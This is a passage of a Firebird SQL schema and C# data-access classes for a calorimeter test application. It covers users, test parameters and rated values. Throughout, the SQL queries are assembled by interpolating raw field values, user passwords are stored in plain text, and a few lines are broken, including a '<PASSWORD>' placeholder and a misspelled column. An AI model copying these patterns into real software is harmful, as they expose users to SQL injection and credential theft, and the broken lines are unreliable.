ID1EWBDEV FLOAT NOT NULL,
ID1LDB1DEV FLOAT NOT NULL,
ID1LWB1DEV FLOAT NOT NULL,
ID1AF1DEV FLOAT NOT NULL,
ID1LDB2DEV FLOAT NOT NULL,
ID1LWB2DEV FLOAT NOT NULL,
ID1AF2DEV FLOAT NOT NULL,
ID1CDP1SETUP FLOAT NOT NULL,
ID1CDP1AVG FLOAT NOT NULL,
ID1CDP1DEV FLOAT NOT NULL,
ID1CDP2SETUP FLOAT NOT NULL,
ID1CDP2AVG FLOAT NOT NULL,
ID1CDP2DEV FLOAT NOT NULL,
ID2USE INTEGER NOT NULL,
ID2MODE1 INTEGER NOT NULL,
ID2DUCT1 INTEGER NOT NULL,
ID2MODE2 INTEGER NOT NULL,
ID2DUCT2 INTEGER NOT NULL,
ID2EDBSETUP FLOAT NOT NULL,
ID2EDBAVG FLOAT NOT NULL,
ID2EDBDEV FLOAT NOT NULL,
ID2EWBSETUP FLOAT NOT NULL,
ID2EWBAVG FLOAT NOT NULL,
ID2EWBDEV FLOAT NOT NULL,
ID2LDB1DEV FLOAT NOT NULL,
ID2LWB1DEV FLOAT NOT NULL,
ID2AF1DEV FLOAT NOT NULL,
ID2LDB2DEV FLOAT NOT NULL,
ID2LWB2DEV FLOAT NOT NULL,
ID2AF2DEV FLOAT NOT NULL,
ID2CDP1SETUP FLOAT NOT NULL,
ID2CDP1AVG FLOAT NOT NULL,
ID2CDP1DEV FLOAT NOT NULL,
ID2CDP2SETUP FLOAT NOT NULL,
ID2CDP2AVG FLOAT NOT NULL,
ID2CDP2DEV FLOAT NOT NULL,
ODUSE INTEGER NOT NULL,
ODDP INTEGER NOT NULL,
ODAUTOVOLT INTEGER NOT NULL,
ODEDBSETUP FLOAT NOT NULL,
ODEDBAVG FLOAT NOT NULL,
ODEDBDEV FLOAT NOT NULL,
ODEWBSETUP FLOAT NOT NULL,
ODEWBAVG FLOAT NOT NULL,
ODEWBDEV FLOAT NOT NULL,
ODEDPSETUP FLOAT NOT NULL,
ODEDPAVG FLOAT NOT NULL,
ODEDPDEV FLOAT NOT NULL,
ODVOLT1SETUP FLOAT NOT NULL,
ODVOLT1AVG FLOAT NOT NULL,
ODVOLT1DEV FLOAT NOT NULL,
ODVOLT2SETUP FLOAT NOT NULL,
ODVOLT2AVG FLOAT NOT NULL,
ODVOLT2DEV FLOAT NOT NULL,
CONSTRAINT PK_TB_SCHEDULEPARAM PRIMARY KEY (PK_RECNO)
);
CREATE TABLE TB_USER
(
PK_RECNO INTEGER NOT NULL,
"NAME" VARCHAR( 20) NOT NULL COLLATE NONE,
AUTHORITY INTEGER NOT NULL,
PASSWD VARCHAR( 60) NOT NULL COLLATE NONE,
MEMO VARCHAR( 100) NOT NULL COLLATE NONE,
CONSTRAINT PK_TB_USER PRIMARY KEY (PK_RECNO)
);
/*******************************************************************************
* Indices
* -------
* Extracted at 2018-07-04 오후 3:28:24
******************************************************************************/
CREATE ASC INDEX IDX_NOTEPARAM_MAKER ON TB_CONDITION_NOTEPARAM (MAKER);
CREATE ASC INDEX IDX_NOTEPARAM_MODEL1 ON TB_CONDITION_NOTEPARAM (MODEL1);
CREATE ASC INDEX IDX_NOTEPARAM_SERIAL1 ON TB_CONDITION_NOTEPARAM (SERIAL1);
CREATE ASC INDEX IDX_SCHPARAM_NAME ON TB_SCHEDULEPARAM ("NAME");
CREATE ASC INDEX IDX_SCHPARAM_STANDARD ON TB_SCHEDULEPARAM (STANDARD);
/*******************************************************************************
* Foreign Key Constraints
* -----------------------
* Extracted at 2018-07-04 오후 3:28:24
******************************************************************************/
ALTER TABLE TB_CONDITION_METHODPARAM ADD CONSTRAINT FK_METHOD_NOTE
FOREIGN KEY (FK_NOTENO) REFERENCES TB_CONDITION_NOTEPARAM
(PK_RECNO)
ON DELETE NO ACTION
ON UPDATE NO ACTION
;
ALTER TABLE TB_CONDITION_NOTEPARAM ADD CONSTRAINT FK_NOTEPARAM_ALLPARAM
FOREIGN KEY (FK_PARAMNO) REFERENCES TB_ALLPARAM
(PK_RECNO)
ON DELETE NO ACTION
ON UPDATE NO ACTION
;
ALTER TABLE TB_SCHEDULEPARAM ADD CONSTRAINT FK_SCHEDULEPARAM_ALLPARAM
FOREIGN KEY (FK_PARAMNO) REFERENCES TB_ALLPARAM
(PK_RECNO)
ON DELETE NO ACTION
ON UPDATE NO ACTION
;
ALTER TABLE TB_CALIBPOINT ADD CONSTRAINT FK_TB_CALIBPOINT_TB_CALIB_ROW
FOREIGN KEY (FK_CALIB_ROWNO) REFERENCES TB_CALIBRATOR_ROW
(PK_RECNO)
ON DELETE NO ACTION
ON UPDATE NO ACTION
;
ALTER TABLE TB_CALIBRATOR ADD CONSTRAINT FK_TB_CALIBRATOR_TB_USER
FOREIGN KEY (FK_USERNO) REFERENCES TB_USER
(PK_RECNO)
ON DELETE NO ACTION
ON UPDATE NO ACTION
;
ALTER TABLE TB_CALIBRATOR_ROW ADD CONSTRAINT FK_TB_CALIB_ROW_TB_CALIB
FOREIGN KEY (FK_CALIBRATORNO) REFERENCES TB_CALIBRATOR
(PK_RECNO)
ON DELETE NO ACTION
ON UPDATE NO ACTION
;
ALTER TABLE TB_CONDITION_RATEDPARAM ADD CONSTRAINT FK_TB_RATEDPARAM_TB_NOTEPARAM
FOREIGN KEY (FK_NOTENO) REFERENCES TB_CONDITION_NOTEPARAM
(PK_RECNO)
ON DELETE NO ACTION
ON UPDATE NO ACTION
;
ALTER TABLE TB_CONDITION_THERMOPRESSPARAM ADD CONSTRAINT FK_THERMOPRESSPARAM_NOTEPARAM
FOREIGN KEY (FK_NOTENO) REFERENCES TB_CONDITION_NOTEPARAM
(PK_RECNO)
ON DELETE NO ACTION
ON UPDATE NO ACTION
;
<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Threading;
using FirebirdSql.Data.FirebirdClient;
using Ulee.Database.Firebird;
using Ulee.Device.Connection.Yokogawa;
namespace Hnc.Calorimeter.Client
{
public class CalorimeterTestDatabase : UlFirebird
{
public CalorimeterTestDatabase(FbServerType type = FbServerType.Default) : base(type)
{
UserSet = new UserDataSet(connect, null, null);
AllParamSet = new AllParamDataSet(connect, null, null);
ScheduleParamSet = new ScheduleParamDataSet(connect, null, null);
NoteParamSet = new NoteParamDataSet(connect, null, null);
MethodParamSet = new MethodParamDataSet(connect, null, null);
RatedParamSet = new RatedParamDataSet(connect, null, null);
ThermoPressParamSet = new ThermoPressParamDataSet(connect, null, null);
NoteParamConfigSet = new NoteParamDataSet(connect, null, null);
DataBookSet = new DataBookDataSet(connect, null, null);
DataSheetSet = new DataSheetDataSet(connect, null, null);
DataValueUnitSet = new DataValueUnitDataSet(connect, null, null);
DataValueSet = new DataValueDataSet(connect, null, null);
DataRawUnitSet = new DataRawUnitDataSet(connect, null, null);
DataRawSet = new DataRawDataSet(connect, null, null);
XAxisSettingSet = new XAxisSettingDataSet(connect, null, null);
YAxisSettingSet = new YAxisSettingDataSet(connect, null, null);
SeriesSettingSet = new SeriesSettingDataSet(connect, null, null);
}
public FbConnection Connect { get { return connect; } }
public UserDataSet UserSet { get; private set; }
public AllParamDataSet AllParamSet { get; private set; }
public ScheduleParamDataSet ScheduleParamSet { get; private set; }
public NoteParamDataSet NoteParamSet { get; private set; }
public MethodParamDataSet MethodParamSet { get; private set; }
public RatedParamDataSet RatedParamSet { get; private set; }
public ThermoPressParamDataSet ThermoPressParamSet { get; private set; }
public NoteParamDataSet NoteParamConfigSet { get; private set; }
public DataBookDataSet DataBookSet { get; private set; }
public DataSheetDataSet DataSheetSet { get; private set; }
public DataValueUnitDataSet DataValueUnitSet { get; private set; }
public DataValueDataSet DataValueSet { get; private set; }
public DataRawUnitDataSet DataRawUnitSet { get; private set; }
public DataRawDataSet DataRawSet { get; private set; }
public XAxisSettingDataSet XAxisSettingSet { get; private set; }
public YAxisSettingDataSet YAxisSettingSet { get; private set; }
public SeriesSettingDataSet SeriesSettingSet { get; private set; }
}
public class CalorimeterViewDatabase : UlFirebird
{
public CalorimeterViewDatabase(FbServerType type = FbServerType.Default) : base(type)
{
DataBookSet = new DataBookDataSet(connect, null, null);
DataSheetSet = new DataSheetDataSet(connect, null, null);
DataValueUnitSet = new DataValueUnitDataSet(connect, null, null);
DataValueSet = new DataValueDataSet(connect, null, null);
DataRawUnitSet = new DataRawUnitDataSet(connect, null, null);
DataRawSet = new DataRawDataSet(connect, null, null);
YAxisSettingSet = new YAxisSettingDataSet(connect, null, null);
SeriesSettingSet = new SeriesSettingDataSet(connect, null, null);
}
public FbConnection Connect { get { return connect; } }
public DataBookDataSet DataBookSet { get; private set; }
public DataSheetDataSet DataSheetSet { get; private set; }
public DataValueUnitDataSet DataValueUnitSet { get; private set; }
public DataValueDataSet DataValueSet { get; private set; }
public DataRawUnitDataSet DataRawUnitSet { get; private set; }
public DataRawDataSet DataRawSet { get; private set; }
public YAxisSettingDataSet YAxisSettingSet { get; private set; }
public SeriesSettingDataSet SeriesSettingSet { get; private set; }
}
public class CalorimeterConfigDatabase : UlFirebird
{
public CalorimeterConfigDatabase(FbServerType type = FbServerType.Default) : base(type)
{
UserSet = new UserDataSet(connect, null, null);
AllParamSet = new AllParamDataSet(connect, null, null);
ScheduleParamSet = new ScheduleParamDataSet(connect, null, null);
NoteParamSet = new NoteParamDataSet(connect, null, null);
MethodParamSet = new MethodParamDataSet(connect, null, null);
RatedParamSet = new RatedParamDataSet(connect, null, null);
ThermoPressParamSet = new ThermoPressParamDataSet(connect, null, null);
NoteParamConfigSet = new NoteParamDataSet(connect, null, null);
}
public FbConnection Connect { get { return connect; } }
public UserDataSet UserSet { get; private set; }
public AllParamDataSet AllParamSet { get; private set; }
public ScheduleParamDataSet ScheduleParamSet { get; private set; }
public NoteParamDataSet NoteParamSet { get; private set; }
public MethodParamDataSet MethodParamSet { get; private set; }
public RatedParamDataSet RatedParamSet { get; private set; }
public ThermoPressParamDataSet ThermoPressParamSet { get; private set; }
public NoteParamDataSet NoteParamConfigSet { get; private set; }
public void DeleteAllParam(int paramNo)
{
NoteParamSet.Select(paramNo);
NoteParamSet.Fetch();
int noteNo = NoteParamSet.RecNo;
BeginTrans();
try
{
ThermoPressParamSet.NoteNo = noteNo;
ThermoPressParamSet.Delete(Trans);
RatedParamSet.NoteNo = noteNo;
RatedParamSet.Delete(Trans);
MethodParamSet.NoteNo = noteNo;
MethodParamSet.Delete(Trans);
NoteParamSet.Delete(paramNo, Trans);
ScheduleParamSet.Delete(paramNo, Trans);
AllParamSet.RecNo = paramNo;
AllParamSet.Delete(Trans);
CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans();
}
}
public void DeleteNoteParam()
{
int recNo = NoteParamSet.RecNo;
BeginTrans();
try
{
ThermoPressParamSet.NoteNo = recNo;
ThermoPressParamSet.Delete(Trans);
RatedParamSet.NoteNo = recNo;
RatedParamSet.Delete(Trans);
NoteParamSet.Delete(Trans);
CommitTrans();
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans();
}
}
}
//public class TestDataSets
//{
// public TestDataSets(FbConnection connect)
// {
// DataBookSet = new DataBookDataSet(connect, null, null);
// DataSheetSet = new DataSheetDataSet(connect, null, null);
// DataValueUnitSet = new DataValueUnitDataSet(connect, null, null);
// DataValueSet = new DataValueDataSet(connect, null, null);
// DataRawUnitSet = new DataRawUnitDataSet(connect, null, null);
// DataRawSet = new DataRawDataSet(connect, null, null);
// YAxisSettingSet = new YAxisSettingDataSet(connect, null, null);
// SeriesSettingSet = new SeriesSettingDataSet(connect, null, null);
// }
// public DataBookDataSet DataBookSet { get; private set; }
// public DataSheetDataSet DataSheetSet { get; private set; }
// public DataValueUnitDataSet DataValueUnitSet { get; private set; }
// public DataValueDataSet DataValueSet { get; private set; }
// public DataRawUnitDataSet DataRawUnitSet { get; private set; }
// public DataRawDataSet DataRawSet { get; private set; }
// public YAxisSettingDataSet YAxisSettingSet { get; private set; }
// public SeriesSettingDataSet SeriesSettingSet { get; private set; }
//}
//public class ConfigDataSets
//{
// public ConfigDataSets(FbConnection connect)
// {
// ScheduleParamSet = new ScheduleParamDataSet(connect, null, null);
// NoteParamSet = new NoteParamDataSet(connect, null, null);
// MethodParamSet = new MethodParamDataSet(connect, null, null);
// RatedParamSet = new RatedParamDataSet(connect, null, null);
// ThermoPressParamSet = new ThermoPressParamDataSet(connect, null, null);
// }
// public ScheduleParamDataSet ScheduleParamSet { get; private set; }
// public NoteParamDataSet NoteParamSet { get; private set; }
// public MethodParamDataSet MethodParamSet { get; private set; }
// public RatedParamDataSet RatedParamSet { get; private set; }
// public ThermoPressParamDataSet ThermoPressParamSet { get; private set; }
//}
public class UserDataSet : UlDataSet
{
public int RecNo { get; set; }
public string Name { get; set; }
public EUserAuthority Authority { get; set; }
public string Passwd { get; set; }
public string Memo { get; set; }
public UserDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public void Select()
{
SetTrans(null);
command.CommandText = "select * from TB_USER where pk_recno>0 order by pk_recno asc";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Select(int recno)
{
SetTrans(null);
command.CommandText = $"select * from TB_USER where pk_recno={recno} order by pk_recno asc";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Select(string name)
{
SetTrans(null);
command.CommandText = $"select * from TB_USER where name='{name}' order by pk_recno asc";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public int GetRecNo(string name)
{
Select(name);
Fetch();
return RecNo;
}
public string GetName(int recno)
{
Select(recno);
Fetch();
return Name;
}
public void Insert(FbTransaction trans = null)
{
string sql = $"insert into TB_USER values ({RecNo}, '{Name}', {(int)Authority}, '{Passwd}', '{Memo}')";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
string sql =
$"update TB_USER set name='{Name}', authority={(int)Authority}, passwd='{<PASSWORD>}', memo='{Memo}' where pk_recno={RecNo}";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = $" delete from TB_USER where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = -1;
Name = "";
Authority = EUserAuthority.Viewer;
Passwd = "";
Memo = "";
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt32(row["pk_recno"]);
Name = Convert.ToString(row["name"]);
Authority = (EUserAuthority)Convert.ToInt32(row["authority"]);
Passwd = Convert.ToString(row["passwd"]);
Memo = Convert.ToString(row["memo"]);
}
}
public class AllParamDataSet : UlDataSet
{
public int RecNo { get; set; }
public int UserNo { get; set; }
public string UserName { get; set; }
public string RegTime { get; set; }
public string Memo { get; set; }
public AllParamDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public void Select()
{
SetTrans(null);
command.CommandText =
" select t1.*, t2.name as username from TB_ALLPARAM t1 "
+ " join TB_USER t2 on t2.pk_recno=T1.fk_userno "
+ " where t1.pk_recno>=0 "
+ " order by t1.pk_recno asc ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
string sql = $" insert into TB_ALLPARAM values ({RecNo}, {UserNo}, '{RegTime}', '{Memo}') ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = $"delete from TB_ALLPARAM where pk_recno={RecNo}";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = -1;
UserNo = 0;
RegTime = "";
Memo = "";
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt32(row["pk_recno"]);
UserNo = Convert.ToInt32(row["fk_userno"]);
UserName = Convert.ToString(row["username"]);
RegTime = Convert.ToString(row["regtime"]);
Memo = Convert.ToString(row["memo"]);
}
}
public class NoteParamDataSet : UlDataSet
{
public NoteParamDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public int RecNo { get; set; }
public int ParamNo { get; set; }
public string Company { get; set; }
public string TestName { get; set; }
public string TestNo { get; set; }
public string Observer { get; set; }
public string Maker { get; set; }
public string Model1 { get; set; }
public string Serial1 { get; set; }
public string Model2 { get; set; }
public string Serial2 { get; set; }
public string Model3 { get; set; }
public string Serial3 { get; set; }
public string ExpDevice { get; set; }
public string Refrig { get; set; }
public string RefCharge { get; set; }
public string Memo { get; set; }
public EUnitCapacity CoolUnit { get; set; }
public EUnitCapacity HeatUnit { get; set; }
public void Select(int paramNo=-1)
{
SetTrans(null);
command.CommandText =
$" select * from TB_CONDITION_NOTEPARAM "
+ $" where fk_paramno={paramNo} "
+ $" order by maker, model1, serial1 asc ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void SelectRecNo(int recNo)
{
SetTrans(null);
command.CommandText =
$" select * from TB_CONDITION_NOTEPARAM "
+ $" where pk_recno={recNo} ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Select(string maker, int paramNo=-1)
{
SetTrans(null);
command.CommandText =
$" select * from TB_CONDITION_NOTEPARAM "
+ $" where fk_paramno={paramNo} and maker like '{maker}%' "
+ $" order by maker, model1, serial1 asc ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void SelectDistinct(int paramNo = -1)
{
SetTrans(null);
command.CommandText =
$" select distinct(maker) from TB_CONDITION_NOTEPARAM "
+ $" where fk_paramno={paramNo} ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void SelectDistinct(string maker, int paramNo = -1)
{
SetTrans(null);
command.CommandText =
$" select distinct(model1) from TB_CONDITION_NOTEPARAM "
+ $" where fk_paramno={paramNo} and maker='{maker}' ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void SelectDistinct(string maker, string model, int paramNo = -1)
{
SetTrans(null);
command.CommandText =
$" select pk_recno, serial1 from TB_CONDITION_NOTEPARAM "
+ $" where fk_paramno={paramNo} and maker='{maker}' and model1='{model}' ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Select(string maker, string model, string serial, int paramNo = -1)
{
SetTrans(null);
command.CommandText =
$" select * from TB_CONDITION_NOTEPARAM "
+ $" where fk_paramno={paramNo} and maker='{maker}' "
+ $" and model1='{model}' and serial1='{serial}' ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
string sql = $" insert into TB_CONDITION_NOTEPARAM values ( "
+ $" {RecNo}, {ParamNo}, '{Company}', '{TestName}', '{TestNo}', '{Observer}', "
+ $" '{Maker}', '{Model1}', '{Serial1}', '{Model2}', '{Serial2}', '{Model3}', '{Serial3}', "
+ $" '{ExpDevice}', '{Refrig}', '{RefCharge}', '{Memo}', {(int)CoolUnit}, {(int)HeatUnit}) ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Update(FbTransaction trans = null)
{
string sql = $" update TB_CONDITION_NOTEPARAM set company='{Company}', testname='{TestName}', "
+ $" testno='{TestNo}', Observer='{Observer}', maker='{Maker}', model1='{Model1}', serial1='{Serial1}', "
+ $" model2='{Model2}', serial2='{Serial2}', model3='{Model3}', serial3='{Serial3}', expdevice='{ExpDevice}', "
+ $" refrige='{Refrig}', refcharge='{RefCharge}', memo='{Memo}', coolunit={(int)CoolUnit}, heatunit={(int)HeatUnit} "
+ $" where pk_recno={RecNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = $"delete from TB_CONDITION_NOTEPARAM where pk_recno={RecNo}";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(int paramNo, FbTransaction trans = null)
{
string sql = $"delete from TB_CONDITION_NOTEPARAM where fk_paramno={paramNo}";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = -1;
ParamNo = 0;
Company = "";
TestName = "";
TestNo = "";
Observer = "";
Maker = "";
Model1 = "";
Serial1 = "";
Model2 = "";
Serial2 = "";
Model3 = "";
Serial3 = "";
ExpDevice = "";
Refrig = "";
RefCharge = "";
Memo = "";
CoolUnit = EUnitCapacity.kcal;
HeatUnit = EUnitCapacity.Btu;
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt32(row["pk_recno"]);
ParamNo = Convert.ToInt32(row["fk_paramno"]);
Company = Convert.ToString(row["company"]);
TestName = Convert.ToString(row["testname"]);
TestNo = Convert.ToString(row["testno"]);
Observer = Convert.ToString(row["observer"]);
Maker = Convert.ToString(row["maker"]);
Model1 = Convert.ToString(row["model1"]);
Serial1 = Convert.ToString(row["serial1"]);
Model2 = Convert.ToString(row["model2"]);
Serial2 = Convert.ToString(row["serial2"]);
Model3 = Convert.ToString(row["model3"]);
Serial3 = Convert.ToString(row["serial3"]);
ExpDevice = Convert.ToString(row["expdevice"]);
Refrig = Convert.ToString(row["refrige"]);
RefCharge = Convert.ToString(row["refcharge"]);
Memo = Convert.ToString(row["memo"]);
CoolUnit = (EUnitCapacity)Convert.ToInt32(row["coolunit"]);
HeatUnit = (EUnitCapacity)Convert.ToInt32(row["heatunit"]);
}
public void FetchMaker(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
FetchMaker(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = -1;
Maker = "";
}
}
public void FetchMaker(DataRow row)
{
RecNo = -1;
Maker = Convert.ToString(row["maker"]);
Model1 = "";
Serial1 = "";
}
public void FetchModel1(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
FetchModel1(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = -1;
Model1 = "";
}
}
public void FetchModel1(DataRow row)
{
RecNo = -1;
Maker = "";
Model1 = Convert.ToString(row["model1"]);
Serial1 = "";
}
public void FetchSerial1(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
FetchSerial1(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = -1;
Serial1 = "";
}
}
public void FetchSerial1(DataRow row)
{
RecNo = Convert.ToInt32(row["pk_recno"]);
Maker = "";
Model1 = "";
Serial1 = Convert.ToString(row["serial1"]);
}
}
public class MethodParamDataSet : UlDataSet
{
public MethodParamDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public int RecNo { get; set; }
public int NoteNo { get; set; }
public int IntegCount { get; set; }
public int IntegTime { get; set; }
public int ScanTime { get; set; }
public EUnitCapacity CoolCapacityUnit { get; set; }
public EUnitCapacity HeatCapacityUnit { get; set; }
public EUnitAirFlow AirFlowUnit { get; set; }
public EUnitEnthalpy EnthalpyUnit { get; set; }
public EUnitPressure PressureUnit { get; set; }
public EUnitTemperature TemperatureUnit { get; set; }
public EUnitDiffPressure DiffPressureUnit { get; set; }
public EUnitAtmPressure AtmPressureUnit { get; set; }
public bool AutoSetController { get; set; }
public bool UsePowerMeter { get; set; }
public void Select(int noteNo)
{
SetTrans(null);
command.CommandText =
$" select * from TB_CONDITION_METHODPARAM "
+ $" where fk_noteno={noteNo} ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
int auto = (AutoSetController == false) ? 0 : 1;
int use = (UsePowerMeter == false) ? 0 : 1;
string sql = $" insert into TB_CONDITION_METHODPARAM values ( "
+ $" {RecNo}, {NoteNo}, {IntegCount}, {IntegTime}, {ScanTime}, "
+ $" {(int)CoolCapacityUnit}, {(int)HeatCapacityUnit}, {(int)AirFlowUnit}, {(int)EnthalpyUnit}, "
+ $" {(int)PressureUnit}, {(int)TemperatureUnit}, {(int)DiffPressureUnit}, {(int)AtmPressureUnit}, "
+ $" {auto}, {use})";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Delete(FbTransaction trans = null)
{
string sql = $" delete from TB_CONDITION_METHODPARAM where fk_noteno={NoteNo} ";
SetTrans(trans);
try
{
BeginTrans(trans);
command.CommandText = sql;
command.ExecuteNonQuery();
CommitTrans(trans);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Error, sql);
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
RollbackTrans(trans, e);
}
}
public void Fetch(int index = 0, int tableNo = 0)
{
if (index < GetRowCount(tableNo))
{
Fetch(dataSet.Tables[tableNo].Rows[index]);
}
else
{
RecNo = 0;
NoteNo = 0;
IntegCount = 0;
IntegTime = 0;
ScanTime = 0;
CoolCapacityUnit = EUnitCapacity.W;
HeatCapacityUnit = EUnitCapacity.W;
AirFlowUnit = EUnitAirFlow.CMM;
EnthalpyUnit = EUnitEnthalpy.W;
PressureUnit = EUnitPressure.Bar;
TemperatureUnit = EUnitTemperature.Celsius;
DiffPressureUnit = EUnitDiffPressure.mmAq;
AtmPressureUnit = EUnitAtmPressure.mmAq;
AutoSetController = false;
UsePowerMeter = false;
}
}
public void Fetch(DataRow row)
{
RecNo = Convert.ToInt32(row["pk_reco"]);
NoteNo = Convert.ToInt32(row["fk_noteno"]);
IntegCount = Convert.ToInt32(row["integcount"]);
IntegTime = Convert.ToInt32(row["integtime"]);
ScanTime = Convert.ToInt32(row["scantime"]);
CoolCapacityUnit = (EUnitCapacity)Convert.ToInt32(row["coolcapa"]);
HeatCapacityUnit = (EUnitCapacity)Convert.ToInt32(row["heatcapa"]);
AirFlowUnit = (EUnitAirFlow)Convert.ToInt32(row["airflow"]);
EnthalpyUnit = (EUnitEnthalpy)Convert.ToInt32(row["enthalpy"]);
PressureUnit = (EUnitPressure)Convert.ToInt32(row["press"]);
TemperatureUnit = (EUnitTemperature)Convert.ToInt32(row["temp"]);
DiffPressureUnit = (EUnitDiffPressure)Convert.ToInt32(row["diffpress"]);
AtmPressureUnit = (EUnitAtmPressure)Convert.ToInt32(row["atmpress"]);
AutoSetController = (Convert.ToInt32(row["autoset"]) == 0) ? false : true;
UsePowerMeter = (Convert.ToInt32(row["usepm"]) == 0) ? false : true;
}
}
public class RatedParamDataSet : UlDataSet
{
public RatedParamDataSet(FbConnection connect, FbCommand command, FbDataAdapter adapter)
: base(connect, command, adapter)
{
}
public int RecNo { get; set; }
public int NoteNo { get; set; }
public EConditionRated PageNo { get; set; }
public ETestMode Mode { get; set; }
public float Capacity { get; set; }
public float Power { get; set; }
public float EER_COP { get; set; }
public float Volt { get; set; }
public float Amp { get; set; }
public string Freq { get; set; }
public int PM_IDU { get; set; }
public int PM_ODU { get; set; }
public EWT330Wiring Phase { get; set; }
public void Select(int noteno, EConditionRated pageno)
{
SetTrans(null);
command.CommandText
= " select * from TB_CONDITION_RATEDPARAM "
+ $" where fk_noteno={noteno} and pageno={(int)pageno} "
+ $" order by mode asc ";
dataSet.Clear();
dataAdapter.Fill(dataSet);
}
public void Insert(FbTransaction trans = null)
{
string sql = $" insert into TB_CONDITION_RATEDPARAM values ( "
